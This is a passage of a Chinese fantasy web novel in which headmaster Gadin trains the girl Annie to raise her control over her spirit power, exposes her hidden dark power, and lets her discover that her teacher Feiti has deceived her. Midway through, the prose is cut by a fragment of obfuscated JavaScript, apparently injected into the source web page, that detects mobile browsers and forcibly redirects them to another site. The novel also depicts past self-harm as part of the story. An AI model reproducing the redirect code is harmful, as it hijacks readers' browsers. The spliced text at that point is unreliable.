“你的力量不够,但按照数据计算,你是能做到的。”加丁一敲权杖,那些阶梯上浮现出数字,“第一个阶梯仅仅需要500,第二个阶梯需要1000,第三个1500,第四个2000,没记错的话,你现在已经在2000以上了。不过也能理解,灵力的力量是要被掌控削减的,掌控越低,能表现出的真正力量也越低。” “那为什么说掌控低的人反而很危险?” “这个很复杂……不过我想给你说说也无妨。” “灵力是精神,人是物质,物质与精神结合呈现出超越常规的力量。” 加丁挥舞权杖,水晶球变回圆形,里面出现了一个人影,还有一团雾气。 “假设一个人的力量极限是100,那么精神困在物质里,精神表现出的最高能力就是100,但实际上,精神的力量是无限的。” 人身边显示出100的数值,而雾气旁边则是无穷的符号。水晶球里的人和雾气融合在一起,散发出淡淡的光芒,最后变成100。 “这就相当于一个武艺高强的人的灵魂困在了一个手无缚鸡之力的人身体里,那么他无论怎么厉害,都只有挨打的份。只有身体的数值提高,灵力才会跟着提高。” 小人不断动作着,可是无论招式怎样花哨,安妮都看得出他的平平无奇。 “一个人的正常灵力计算公式是力量乘掌控对应的比例,一般都会低于自己的正常力量。但是有一种情况不同,那就是掌控太低,这意味着精神不服从物质的约束,存在脱离的风险,而拥有着无穷的数值的灵力一旦脱离,那么实力就会成倍上升,但同时这个人控制自己也会越来越力不从心。” 发光的小人动作越来越复杂,每一次挥舞都引发着爆炸和震动,但安妮也觉得这个人好像要散架了。 “黑暗之力是脱离物质的佼佼者,甚至掌控的数值判断对它而言都只是掩饰。而脱离掌控的结局无一例外都是毁灭。” 果然,不一会儿,随着巨大的爆炸和烟雾,小人消散了。 “这就是黑暗力量带来的毁灭。” 黑暗力量? 安妮心里“咯噔”一下。 “好了,这本来是给老师说的进阶课程,也不知道你明不明白,不过我觉得有必要给你说。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119483|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有必要?为什么?他看出来了吗? 安妮的脑袋更晕了。 “如果不太舒服的话,就休息一下吧,我们明天再继续。不过我希望你能尽快将掌控提升起来,这样也安全一些——不仅仅是为我们,也是为你自己。” 安妮默默点了点头。 她一直以为精神是可以控制住身体的,但她现在才知道,从一开始,要脱离掌控的就是精神。 面前的灵力仍旧是乖巧的模样,但安妮却觉得后背发凉。 已经过去快半个月了,但是安妮的掌控纹丝未动。 即使在她的有意延缓下,感冒也好得差不多了。紧迫的训练让她有些不适应,可明明以前自己也是这样生活的。 大概是因为知道自己毫无成果吧。 “加丁校长,我想休息一下,假期还有一个多月,我希望能见见阿狸姐姐。” 或者随便一个人都可以,她不想每晚抱着提伯斯孤独地入眠了。以前虽然也经常不见人,但有菲缇的关心和木木的陪伴,她并不觉得难熬。 “你的掌控毫无成果,我不能放你离开。” 安妮有些烦躁。 这半个月,除了训练就是常识,她每天都在和面前的老头斗智斗勇,再这样下去真的要疯掉了。 尤其是加丁的知识每一次都刷新着她的认知,让她不由自主地思考、认同。有时候她都在想,会不会暴露了黑暗之力更好,反正在这里的每一天都只是浪费,这和她来到这里的初衷背道而驰。 “这样吧,如果你的掌控能够提升10点,我就放你离开。不过你必须带上我给你的法器。” 带什么都无所谓,但提升10点掌控,她要这样做吗? 加丁给她定的标准是80的掌控,那么提升到60也无伤大雅吧? 安妮如此想着,接受了。 “那么继续跑道训练,还是塑造冰雕,或者你想实战?” “还是跑道训练吧。” 这半个月以来,不得不说加丁确实十分用心,不仅教了她各种提升掌控的方法,还改进了原来的方案,若不是安妮刻意为之,恐怕掌控早就上来了。 加丁再次塑造好跑道,安妮这次集中注意力看着自己的冰灵力,抬手……淡淡的光芒闪耀,冰灵力凝实了一些,向上一跃,轻松过了第一个,高度似乎也能跨过第二个。 安妮一鼓作气,冰灵力再次尽力一蹬尾巴,擦着第二个阶梯的角上去了。 “很好,不过第三个是分水岭,第四个才是关键。” 是的,第三个已经有三个冰灵力团子高,安妮看着都觉得难。 果不其然,冰灵力晃晃悠悠地跳了一下,眼看高度差太多,干脆不动了。 “你动一动呀,好歹试试!” 冰灵力又尽力跳了跳,还是差半个。 “你蹲下来蓄力,跳的时候我托着你。” 安妮展示了一下手上传递的力量,就见冰灵力突然起跳,然后…… “啪”! “你怎么跳的时候不蹲下啊……”我都没来得及帮忙! 冰灵力很可疑地静止了。 “它蹲下蓄力了,只是你没有看见而已。” “我一直盯着她的,怎么会看不见?” “因为它只是一团有尾巴的雾气罢了,蹲下的动作不明显。” 安妮顿住了。 好像确实是这样,但是她连冰灵力的高度都不知道吗?下蹲的时候不应该变矮吗? “你看,它现在也是蹲下的。” 安妮仔细看了看,然后发现冰灵力的尾巴确实是弯曲的,但是高度没变。 “灵力是精神,不遵守物质那套规则,它的尾巴可长可短,可大可小。” 所以弯曲尾巴的时候不会变矮。 安妮有些尴尬。 “你怎么知道?” “塞弗勒斯之前也干过这种蠢事。” “……”她不知道如何反驳,“对不起,我误会你了。” 水晶球里的雾气摇了摇,似乎很开心。 “你是第一个给自己的灵力道歉的人。” 第一个吗? 安妮默了,她不知道爸爸是怎么对待被自己误会了的灵力的,但他没道歉……可是爸爸那么和蔼可亲,他应该会……也许他道歉的方式不同吧,爸爸一直是个内敛的人。 “你的灵力现在很高兴,你不想配合一下它吗?” 当然想!安妮伸出手,观察着冰灵力的小尾巴,果然,在起跳的前一刻,冰灵力的尾巴弯曲了。 安妮配合地提升力量,蓝色光芒绽放,冰灵力一次性越过了三个阶梯! 这是远度和高度的双重跨越!安妮有些激动。不知道是因为冰灵力,还是因为自己。 这是成功的感觉。 “还有最后一个,加油。” 加丁将后面的阶梯全部撤掉,只剩下比冰灵力四倍高的阶梯,还有一条平坦的跑道。他仍旧是平静的,但是安妮很兴奋,她想一鼓作气越过这个关卡。 “加油,我们可以的。” 她在心里说着,心底的期待越来越大。 冰灵力没有直接助跑,而是在起点左摇右摆,安妮很快联想到了那些即将上实战擂台的选手热身的模样。她有些想笑,但还是被冰灵力的动作打动了。 一鼓作气,再而衰,三而竭,凯德阿姨说的。 终于,冰灵力停下了动作。圆圆的雾气摆出俯身的动作,向前冲刺,安妮紧紧盯住冰灵力的尾巴,在她呈现出弯曲姿态的那一刻,毫不犹豫地伸手,灵力倾泻而出,在冰灵力的身下形成一股旋风,托着她往上飞。 然而安妮看得出来,这个弧度还是有点低,仅仅差了一点点…… 还是会撞上去的,再高一点! 再高一点就可以了! 安妮死死瞪着冰灵力的尾巴下,那股风逐渐狂暴。心中的念想越发强烈,似乎有什么力量急需爆发,手狠狠一推,风终于凝成小云,向下收缩,然后猛然膨胀,将冰灵力弹了上去。 直接顶到了水晶球最上面的玻璃! 成功了! 安妮欣喜若狂,然而急速的心跳还没有平静,那眼里的笑容就凝固了。 眼中的小云还没有消散。 那是一朵紫蓝色的,掺杂着黑雾的乌云。 糟了。 16. 16 “看来黑魔法的确有超出极限的能力……或者说,你的力量本不止于此?” 是的,她真正的力量已经超过10000,这是无数毕业生都难以企及的高度。 但是加丁这是什么意思? 安妮冰冷的手脚越发僵硬。 “孩子,你不会以为我看不出你体内的黑暗之力吧?” 他早就知道了?那他为什么还要把自己收作学生?他没有赶走我,但是他之前明明赶走了爸爸……还有他的信仰,他不是一直反对我们学习黑暗之力吗?他到底是为了什么? 安妮混沌的脑子里,所有的问题都无法得到合理的解释。 “你和塞弗勒斯一样,狡猾又单纯。” 安妮不知道加丁这是什么意思。 “为什么你会认为我排斥黑暗之力?因为菲缇吗?” 这是安妮第一次听到加丁主动提起菲缇。 她点了点头,因为她不知道如今她还需要隐藏什么,加丁全都知道…… “她总是自以为是——抱歉,我没有批评你的老师的意思。” 安妮很惊讶加丁居然也会说“抱歉”,而且是这样自然的。 “也许你需要知道一些塞弗勒斯的事,她就是因为这个对我产生偏见的,或者说,学院里的很多人都因此产生过‘校长忠于天道’的想法。” 安妮不置可否。 她也很想知道爸爸在加丁眼中是怎样的形象。 “塞弗勒斯是个要强的孩子,他很有主见,也有十足的领导力与行动力,这大概是他后来能够成为一族之长的原因。他不仅实力足够强大,还有想法……抱歉,说远了。” 安妮没想到加丁会夸奖自己的父亲,至少在这一分钟前,她还认为加丁会把爸爸塑造成一个十恶不赦的大魔头。 很显然加丁说起塞弗勒斯时没有那种咬牙切齿的感觉。 “收他做学生的原因我已经解释得差不多了,这个孩子的惹事能力太强,恐怕只有我压得下来。 不过我并不后悔,因为后来,我渐渐发现,随着我为他提升了掌控,他对黑暗之力的敬畏越来越少了,甚至最后想要研究这种禁忌之力。 黑暗之力的弊端我也给你解释过了,也许现在的你还没有体会,但我想你应该会时不时控制不住地悲观或者发脾气——希望我是错的。” 安妮知道加丁说的是对的,但她不知道自己的悲观到底是来自于不受控制还是对前途的迷茫。 “塞弗勒斯很自信,他坚定地认为自己能够掌握这种力量,并且可以找到控制的方法,让它为我们所用。很遗憾,我不能让他拿着光明学院所有师生,甚至所有人的命试险,我必须阻止他。 不过更遗憾的是,我阻止不了他。最后我们选择了各退一步,他带着他的信徒离开圣城,去偏远的地方走自己的路,而我继续维持着现状,对他的选择视而不见。” 这似乎只是一个道不同不相为谋的故事。 “那你为什么接受我?” “我没有接受你——或者说没有接受你的黑暗之力,我只是在尽我的责任。” “责任?” “塞弗勒斯离开的时候掌控仍是99,我总不能让你带着50的数值离开。” 安妮愣住了。 “你追求你的黑暗之力,今后会有越来越多的人这样做的,我阻止不了,我能做的就是尽量提升你们的掌控,好让毁灭不要太彻底。” 让毁灭不要太彻底…… 安妮想起了那个雷电交加的夜晚。 “我不知道你修炼黑暗之力的目的是什么,也许没有塞弗勒斯那样大公无私,但我尊重你。你的掌控已经达到62了,你可以带着我的法器暂时离开,不过我还是希望你可以继续训练,直接到达80然后走人。我已经推掉很多事务了,开学恐怕会更忙,你的进度会因此耽误很多。” “抱歉。” 原来从始至终都只是她一个人在演戏。 “没什么不好意思的,不过我想菲缇更应该给你说句‘抱歉’。” 加丁没说为什么,但安妮知道。 但她不后悔。 路是她自己选的,如果没有想法,菲缇怎样诱惑都无济于事。 “我想静静。” “那你好好考虑吧,正好我也有事,先走了。对了,如果想尽快提升掌控离开这里的话,我有一些笔记可以给你做参考。” 加丁留下一沓厚厚的笔记本,然后干脆利落地离开了。 安妮头一次想站起来为他送别。 “提升掌控最重要的是和灵力产生共鸣,要把灵力当做自己最好的朋友,或者当成自己,切身思考面对的困难。 要主动和灵力沟通,只有目标一致,理想一致,才能让灵力心甘情愿地发挥自己的力量。 掌控不是字面意思的掌控,而是互相牵制,哪怕在水晶球外,也要因为水晶球内的灵力遇到危险而紧张……” “考虑好了吗?” 是加丁。 安妮抬头,天已经黑了。 面前的笔记已经被看了一半,昏暗的灯光照在发黄的纸张上,和安妮的心一样摇曳不定。 “我要把掌控提升到80。” 既然加丁已经知道了,那也就没有继续藏拙的必要了。尽快离开才是最好的选择,她也不想再麻烦面前的老人了。 “既然如此,那你先把这些笔记看完吧,明天开始,希望你能竭尽全力……合作愉快。” “合作愉快。” 安妮再一次失眠了。 在和加丁摊牌之后。 一直拼命隐藏的事情,在他面前只是微不足道的小事,这让安妮心中的落差越来越大,同时,她也在不断怀疑,加丁的话到底几分真几分假。 爸爸真的只是为了所谓的力量吗? 她不信。 如果真的如此,天道为什么会赶尽杀绝?明明探索出来结果后只有好处没有坏处。 但是提升掌控确实势在必行。 菲缇老师真的在欺骗她吗? 忽视掌控,允许自己不懈追求力量,甚至为自己隐瞒……这四年的陪伴难道真的只是利用?还是本就是她自己将这一切看得太重? 安妮越来越迷茫了。 “提伯斯,快点醒醒吧,求你……” 她现在只想寻找一个可以倾诉的对象,可以触碰一下和自己的过去还有交集的人,可以明白自己究竟身处何处…… 她忽然想起了很多过去的事,那些被自己忽视的细节越来越清晰。 她记得在自己很小很小的时候,就是凯德阿姨在陪伴着她,爸爸妈妈总是很忙,却从来不告诉她忙什么。凯德阿姨告诉她那是因为他们是族长和副族长,可是她很少看见他们和族人接触…… 她记得自己第一次展示出魔法时凯德阿姨惊异的神情,她得到了表扬,但取而代之的是小朋友们的疏远,因为她总是肆无忌惮地使用冰灵力抓鱼,抓兔子,欺负黑熊,或者欺负他们,尽管那是他们先动手…… 她越来越特殊,一个人去森林玩,一个人听故事,一个人过各种各样的节日。她曾经问过和自己一起种花的妈妈这是为什么,可是妈妈没有回答…… 唉,安妮,你都在想些什么…… 这些明明和爸爸没有关系。 不要胡思乱想了。 可是她停不下来。 她眼里的父亲形象太少了,只有那个屹立在酸雨和雷电之下的身姿是那么地清晰。 爸爸真的只是为了所谓的力量吗? 她不知道。 “安妮,你在走神。” “啊,抱歉,昨晚没睡好。” 面前是加丁严肃的模样,安妮才发现自己的思想又不知道溜哪去了。 “看得出来,不过这不是你发呆的理由,你的灵力已经孤军奋战很久了。” 安妮看向水晶球,那团可怜的冰灵力确实在独木桥上摇摇欲坠。 只是这次冰灵力里掺杂了一些黑色,使整个团子暗淡了许多。 “你应该还不知道灵力失控的样子。” 安妮确实不知道。 “在我很小的时候,就看见过了。我的老师是个很现实的人,他可以为了几个金币让我们迅速明白成绩差的后果——当然,在那个资源匮乏的时代,他没有错。 练习掌控是贵族子弟的第一要务,因为他们需要被控制的人能够控制自己的力量,我也不例外。我的掌控其实不错,这让我避免了一段可怕的童年,但我的同桌就不同了:他亲自接受了来自老师的警告。 我们尖嘴猴腮的老师问他,知不知道灵力失控的后果……他应该是懵懵懂懂地摇了摇头——我想是的,然后水晶球里就突然出现了一个庞然大物,是那种能一口气吞下他那小得可怜的灵力的庞然大物。那是那个老师故意释放的灵力,他把自己的灵力塑造得狂暴又可怕,追着我同桌的小灵力逗弄。 那个时候,我的同桌刚刚练习了和灵力共鸣,于是他在那节课后脸色煞白地回了自己的寝室,从此再也没有上课走神过。 你也许还不明白这种惊吓的程度。一个人和他的灵力产生共鸣后,灵力经历的一切他都能感觉到,甚至能够体会那种潜意识里的害怕。同样灵力也会成为他身体的一部分,他的伤痛与负面情绪也会影响灵力。这就相当于你在被一个极其庞大的血腥的异形追赶,它离你仅仅一步之遥。” 安妮倒吸了一口凉气。 “给你说这些并不是为了吓唬你——我知道那样做没有任何用处,除了让学生感到厌恶和恐惧。我只是想告诉你,掌控低的后果远远比被一个大怪物追更可怕。” 安妮知道,但她还是忍不住庆幸,起码自己没有遇到那个时代,遇到那样的老师。 加丁很严肃,但他绝不严苛。 “我要怎么做?” “帮你的灵力走过那座独木桥,注意不要被突起的尖刺扎到;然后一次冲刺跳过十个障碍,不能被后面的鬼追上;最后攀爬上最高峰,拿到旗帜,跳进水里避开食人鱼的攻击,把旗帜插到山丘上。” 这似乎是在培养她们的默契。 安妮点点头,开始专心训练。她在慢慢地试图找回曾经拼尽全力的感觉。 又是无休止的训练。 这是安妮封闭训练的第二十天。 “菲缇,校长还是不让你去看安妮吗?” 阿狸并不知道菲缇和加丁之间的事,她明白那个学院的可怕之处,她以为安妮能在她们的保护下成长起来的。 菲缇轻摇了摇头,蹙着眉心。 她其实并不重视自己的灵力,但是加丁这样殷勤的态度让她感到危机。无利不往的商人是不会懂得奉献的,她迄今为止还不明白加丁的意图何在。更让人绝望的是,阿木木和艾德文特那边也杳无音信。 “我也做不了什么,只能给安妮送些吃的,只希望她不要被校长……” 阿狸不知道她在祈祷什么,或者说在害怕什么。 “会没事的……”菲缇沉思了一会儿,看着面前的糕点眼眸闪烁,“阿狸,我也想给安妮做点吃的,你能教教我吗?到时候和你的甜点一起送进去——她说她喜欢荔枝味的蛋糕。” “当然可以了!”阿狸立刻热情地带着菲缇进入厨房,“你要做什么糕点?是松软的还是酥脆的,要不要加奶油?” “安妮喜欢哪种?桌子上那个方方正正的看起来就不错。” “你真有眼光,安妮之前也说我做的蜜糖方块好吃,加上荔枝味道一定会很棒!” “那我也来试试。”菲缇笑着,开始学习阿狸的手法揉捏面团。 精致的蛋糕很快出炉,阿狸把糕点装进精巧的小盒子里,提着来到光明学院的门口,递给那个熟悉的接待人。菲缇跟在她身后,看着自己做的荔枝蛋糕被一起拿走。 “可别辜负了我指甲里卡的那么多面粉。” 她都快忘记了,她其实也是个无利不往的商人。 “提升掌控不能着急,更不能责怪你的灵力,你已经很厉害了,不在乎这一朝一夕。” 加丁把阿狸做的糕点放在桌子上,坐下。 安妮已经习惯了他们亦师亦友又像陌生人的相处模式,坐在桌子的另一旁,打开一个个精巧的糕点盒子。 “你很幸运,虽然遇到的老师我不好评价,但阿狸是一个温柔善良的人。” 安妮没有说话,她觉得这完全不需要言语上的认同。只是对于菲缇,她还是不知道如何面对。 她头一次产生不见菲缇也挺好的想法,起码这让她不会纠结要不要当面质问。 “和灵力相处其实就像和朋友相处,你们的友谊越深厚,默契就越高,掌控自然而 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“当然……没有。”加丁难得活泼了一些,就像一个充满遗憾却仍旧乐观的老头,“你知道吗?源大陆的有意识生物加起来最少有十亿,这还不包括人数不清的阿修罗。而要遇到这样一个人,你可能和他性别不同,年龄不同,地域不同,甚至种族不同。一个人一辈子能够游历多少地方?又怎么在有限的生命里寻找十几亿分之一?” 安妮被这宏大的数字震惊了。 “其实,知己找不到是很正常的,但也正因如此,即使我们不能成为彼此的知己,也应当互相理解,而不是轻易地说‘不’。——这是我的学生教会我的。” “……塞弗勒斯?” “是的,好在我明白得还不算晚。” “……” 安妮捏着手里的糕点,心情有些复杂。 “珍惜阿狸吧,她是一个即使认为你错了,也会学习理解你的人。” 安妮咀嚼的动作停下了,慢慢点了几下头,没有说话。 “那我先走了,希望你还喜欢她的点心。” “我很喜欢。” 安妮含糊不清地回答了一句,又咬了一口蛋糕。加丁点头,收走了盒子。 “我会转告给她的。” 安妮目送着加丁离开,抿了抿唇,慢慢吐出一张字条。 那张还残留着荔枝味奶油的香味的字条被缓缓打开,几个僵硬的黑色字体浮现在眼前: [商人只有在利益出现时,才会展露本性] 安妮今天没有训练。 “我想听听你的故事。” “我的故事?”加丁精明的小眼睛眯了眯,“我的什么故事?童年,青年,还是老年?” “唔,都说说吧,比如你是怎么当上校长的?” “那你可能不太喜欢,因为那和天道有关。也许你会更喜欢我的童年,他们说无论小时候的事情多么刻骨铭心,长大后回忆起都只会有一抹微笑。” 是这样吗?安妮还没有完全长大,所以不置可否。 “我是贵族之子。和那些年幼的孩子们一样,我的童年充满鞭策,其中还有许多勾心斗角。但这不是最重要的,结局是我认真学习魔法,最终得以成为唯一能够沟通天道的人,然后……就变成了现在这样。——我有没有给你说过我的年龄?” 安妮摇了摇头。 “我以为你会知道的,在阿若盖特刚刚崭露头角的时候,我就已经作为校长给她颁发过奖杯了……那应该是两百年前的事。” “你很早之前就当上校长了?” “是的,很早很早之前……事实上光明学院并没有创办多久,不是吗?他是源大陆唯一一所真正的学校,而我也只是他的第二任校长罢了。” “光明学院有一千多年的历史。” “这好像已经够久了,但我相信这只是源大陆存在时间的零头。” “你做了多久的校长了?” “大概……五百年?” “五百年?!” 一般人的寿命是一百年,精灵族和妖族的寿命是两百年,会灵力的生物寿命能够延长到五百年,但是五百年的校长职位还是让安妮感到不可思议,这意味着加丁已经超出寻常地长寿。 “我知道你很不可思议,但天道赐予我的生命并不是没有代价的……这个你就不需要知道了。” 安妮没有说话,事实上她想知道的正是这些她“不需要”知道的。 那字迹是菲缇的,她绝不会认错,但迄今为止她还没有在自己身上看到有关利益的东西。 也许随着掌控的提升,加丁会自己说的。 因为那意味着她快走了。 “对了,之后两天的训练恐怕需要你自己完成了,接下来我要处理的事情有些多。” “好。” 安妮目送加丁离开,眼底是深深的疑惑。 没有,加丁什么也没说,甚至在之后两天还会不在。 他真的别有所图吗? 算了,安妮,现在的你需要的是提升掌控。 安妮看着面前的水晶球,慢慢释放出自己的冰灵力。还是一团带着黑色的雾气,可是安妮只觉得奇怪。 她想起了加丁的故事。 掌控到达50的人是百分百会和自己的灵力产生一定的共鸣的,可是那天她的冰灵力被追逐时,她只是眼睁睁地看着她被吃掉,没有一点紧张。连刚刚学会使用灵力的人都会因为自己的灵力在水晶球里被追杀而惶恐,为什么她没有一点感觉? 水晶球里的灵力晃了晃,似乎不明白安妮为什么一副冥思苦想的样子。 安妮的指尖颤了颤。 她拿起桌上的水果刀,对着自己的右手划下去。这是在训练中濒临崩溃时她经常会做的事,只是被菲缇发现后制止了。 轻微的疼痛传来,鲜红的血滴落在草地上,安妮别开眼不去看那刀子,而是不动声色地观察着冰灵力。那团小小的雾气贴在水晶球的边缘一动不动,似乎被安妮暴起的样子吓得呆住了。过了一会儿,安妮抬起头看着冰灵力,冰灵力往后挪了挪,连漂浮的动作都停止了。 “你在怕我。” 就像她一开始的不信任一样。 灵力还没有做出回应,一阵白光闪过,加丁出现了。 “你在做什么?” “……” “告诉我,这个冰灵力,是谁的?” 17. 17 “灵力在没有被完全驯服时是有机会被夺走的,这让一些人铤而走险。而灵力在被夺取后如果没有被完全驯化,也是可以在夺取者死亡后回到被夺取者身体内的,并且一切力量都可以得到转移。 当掌控升高时,灵力将逐渐被夺取者驯化,即使夺取者死亡,灵力也只会消散而不会转移。被夺取者倘若想让自己的力量在他人身体里成长,就必须保证掌控够低——这个试验值目前是50。 灵力不属于自己的表现其实不明显,但一旦呈现出灵体,也就是在水晶球里的形态,它就具备了一定的意识和思维表现能力,可以观察出灵力的属性与归属。” “我其实不想告诉你这些的,因为你的掌控正在慢慢提高,要让冰灵力回归会变得越来越困难,最后甚至得不偿失。但我可能告诉你的还是太多了,我忘记了,你一直是个聪明得过头的孩子……” “没有必要仇恨,如果你感到难过的话……今天的训练到此为止吧。什么时候振作起来,什么时候,我再陪你前进。” 加丁的话依旧沉稳、平静,好像说出的事实就是那么微不足道。 安妮有些时候甚至在想,他看着自己因为菲缇的忽视而失落,会不会发笑。但她很快否认了,因为这个老人不会因为任何事影响自己波澜不惊的心情。 自始至终,被骗的是她自己,试图骗人的是她自己,最后因为谎言撕心裂肺的,还是她自己。 她就像一个小丑,一个人轻轻松松把她玩弄于股掌之间,另一个人轻描淡写地看着,她卖力地表演,他们所有人却都已经看穿了她的伪装。 菲缇…… 冰灵力还惶恐不安地趴在水晶球边缘,黑色的轮廓越来越模糊。 安妮怔愣着,手上的刺痛传来,好像还有头顶的抚摸。 “你在干什么?” 那个温柔的老师第一次褪去沉稳,惊慌失措地跑到她面前,抬起她纤细泛白的右手。那鲜红滴落在地板上,刺痛了安妮的眼睛。 迷茫、不安、焦虑,没日没夜地折磨着她,只有疼痛让自己越来越清醒。她的手上伤痕累累,让年轻的女老师半跪在地上,却不敢触碰。 她轻轻地带着医药箱走过来,沉默地给她上药,泪水一滴滴落在手腕上,好像和自己有着感同身受的绝望。 她揉着自己的发旋,盯着自己目光的终点一起发呆,沉默在蔓延,可是陪伴的温暖逐渐从伤口渗进心底。 那是多么真实的关切。 可是心还在一阵一阵抽痛。 骗子。 都是骗子。 商人。 都是商人。 都是无利不往的商人。 她在期望什么? 安妮,你还在奢求什么? “我小时候,也和你一样,有过自以为知心的好朋友。” 安妮不想理会这个去而复返的拆穿者。也许是倔强,也许是最后的反抗,她的狼狈都不会展露给这个打碎一切幻想的现实主义者。 她就睁着通红的眼睛,把所有泪水锁进眼眶,看着一片青草地发呆。 已经没有人可以抱着你,任由你的眼泪打湿她的肩膀了。 “我知道现在你的心情很糟糕,一点也不想听故事,但你要相信这样一句话,没有什么比知道有人比自己更悲惨更让人感到宽慰的了。” 加丁的话很轻,很平淡,让安妮误以为这个悲惨的人也只是他目睹的一个。 “你以为贵族的生活很奢侈,很舒适吗?那我要告诉你——确实是的。但是代价也很大。我本不是被家族寄予厚望的人,但我的天赋异禀,得到了族长的青睐。我和一个并不怎么厉害的小胖墩成了好朋友,如果要说有多好,那大概是他有一颗很好吃的糖,会留到即使化了也要给我尝尝。而我,也没做什么,只是在小胖墩被欺负的时候,我会挺身而出,让他先跑,我殿后。 后来一次家族大选,要选择培养家族的继承人,名额有限,却不是先到先得。我凭借过硬的实力到达最后一关,却在实战比拼中被人暗算。因为我对芒果过敏,那天比赛前被人偷偷下了药,导致输了比赛。后来,我冥思苦想,也想不到是哪里出了问题,直到那个小胖墩不再在家族学院里学习,而是被提前划了一大笔钱财前往别处生活,我才想起他比赛前给我吃的一颗糖。 我后来应该是消沉了很久很久的,从那以后总是拿利益来衡量一切。你觉得我是错的吗?——不,我要告诉你,这是对的。 就是这样的思维,让我躲过了今后的无数次暗算,步步为营,走到今天这步。但我也不得不承认,我因此失去了找到知己的可能。 我会在一个人因为投缘向我敬酒的那刻就怀疑他是不是有求于我,也会在一只宠物向我乞食的前一秒思考是不是它的主人有所授意,我又该怎么做才最好;我会在他人罹难时衡量施以援手的价值,也会在狂风暴雨中为他人撑起一把伞,他以为我是个好心的陌生人,我知道他的势力对我有帮助。” “好了,这就是我悲惨的交友经历,希望能够给你一点安慰。” “你为什么给我说这些?” “大概是……很久没有看到过这么天真又可怜的孩子了,或者……反正你也要离开的。人们如果相信一个人说的话,那么他的死对头说的话再正确,也是废话,我不怕你抖我的底。” “……” “孩子,人生的路还很漫长,不必为现在的挫折和欺骗感到悲伤,因为后面还会有更多的挫折和悲伤等着你。” “你安慰人的方式真别具一格。” “管用就行,我是个现实主义者。” 看得出来。 安妮在心里附和了一句,不再吭声。 “这次我是真的走了,你要哭就哭吧,我不会看的。” 一阵白光照在青草叶子上,身边的空气一下子散开了。安妮知道加丁是真的离开了。 但是她还想哭吗? 她忽然不那么难过了。 是因为什么呢? 安妮望着天空,很可惜太阳不会给她答案。她随手擦了擦眼角,冰凉的指尖触碰到脸颊的那一刻,似乎心有所感。 把心冰起来,就麻木了。 她一直以为加丁的内心是一片汪洋,直到此刻,才突然明白:冰永远比水更冷静。 “好了,看起来你已经有思考下一步的能力了。也许我们应该为你的未来做点什么。” “什么?” 她不知道还有什么可做的,真相大白了,她也没有妄想了。 “你应该认真咀嚼别人告诉你的有用信息。如果你这样做了,你就该知道我之前说的50掌控是个试验值。” 试验值? 是啊,这意味着如今掌控不过六十多的她仍旧有被夺取力量的可能——或者说,被收回力量。 安妮忽然觉得有些累。 “我知道你不可能在短时间内接受这一切,但我们还有更重要的事情要做。当务之急就是继续提升你的掌控,这是一举三得的事,不是么?” “一举三得?” “你的灵力安全了,你也自由了,我也放心了。” 是啊,安妮,你有什么理由不做呢? 安妮抬起自己的右手。 “也许我应该找些东西来帮你,黑暗之力是很难掌控的,你在训练时难免会受到干扰……在这等等。” 安妮疑惑地看着加丁离开,然后带着一本书回来。 这是一本存在感很强的书。古朴的纸张,金黄的暗纹,二者结合在一起,却并不突兀。书本很厚,整整有《源大陆起源》那么厚,也很大,有安妮四个手掌那么大。这本书上的文字密密麻麻排列着,更像某种符号。 加丁把书放在地上,以书为中心,很快形成一个六边形的法阵,暗纹从书本里飞出,在地上蔓延交织,最后围住书本。那书本不停地来回翻着页,纸张里不断冒出金光,安妮就看见自己身上突然出现许多黑色雾气,一缕缕地被吸进书页。 她感觉到有些疲惫,脑子里针刺一般钝痛。安妮往后退了几步,想要离开,好在那书很快停止了吸收。合上后,周围的纹路迅速消失,书本又回到了陈旧的模样。 “这是伪神器,你可以叫它‘启元录’,它的作用很简单,记录和展现真相。只是因为是光明属性,我给它开发了一下封印黑暗的能力。” “伪神器?” 这狂猛的力量让安妮想起了爸爸最后一刻祭出的深渊权杖。 “有关神器的传说已经家喻户晓了,你还不知道吗?” 安妮摇了摇头。 “抱歉,我一直认为这个是比常识还常识的东西,所以下意识地认为你知道。” 安妮没有感觉到尴尬或者冒犯,反而有些窘迫。 她的认知都来自于凯德阿姨的教导,最多还有一些族人的聊天和寥寥无几的书本,圣城里许多有趣的梗或者到处流传的新闻在她耳中都和新的一样。 “神器是源大陆诞生时就存在的,水火不侵不腐不朽的法器。它们拥有特殊的力量,能够让获得者在某一方面达到顶尖。要拿到神器必须通过考验,而千百年来我也不过继承了上一任校长给我留下的神器,那就是如今放在光明圣殿中心的‘源’。它的外形是一本书,能力是沟通天道,贯通法则,还有一些就不必一一说明了。总之,拥有一件神器就有了改变世界的能力。 伪神器是我们自作主张定义的,大致来说就是比神器的能力不足,却仍旧弥足珍贵,能够让各方势力为之疯狂的法器。伪神器不是伴随着源大陆诞生的,而是各种机缘巧合下出现的,但它们的力量仍旧足够摄人。传说武器大师麦尔特当年差一点就炼制出了伪神器,也因此一举成名,只是很可惜,在炼制到最后一步的时候,他不知为何放弃了。” “那伪神器一般能够做什么?攻击,守护,还是辅助?” “都有,比如你面前的‘启元录’,就是我从神器‘源’里剥离出来的,它携带着‘源’的部分力量,可以帮我辨别真相。比如,看出到底是哪个学生在光明学院的西北角打架。” 加丁一脸严肃地开玩笑的模样真的挺好笑,安妮也诚实地笑了出来。能够对抗天道……那么爸爸的深渊权杖应该也是伪神器吧? “虽然伪神器看起来不错,但你也要知道,人为财死,鸟为食亡,一件伪神器的出现必然引起腥风血雨。我想麦尔特当初不愿意制造出伪神器的原因里,应该有他不想惹麻烦这一点。并且,伪神器的属性以及副作用是很明显的,光明属性的伪神器还好,其他属性的多多少少都会有一些问题。” “有什么问题?” “这个我就不知道了,总要具体问题具体分析。”加丁将“启元录”收了起来,“我先把它还回去,这虽然是我的东西,但暗地里可有不少人希望我出点岔子,以便名正言顺地夺走它。” 原来加丁的处境其实也没那么好…… 不过现在她更应该关心自己的处境。 安妮的训练状态又回到了曾经的模式,疲惫但充实。只是这一次,闲暇之余只有加丁送来阿狸的糕点,不再有人无声地坐在她旁边。 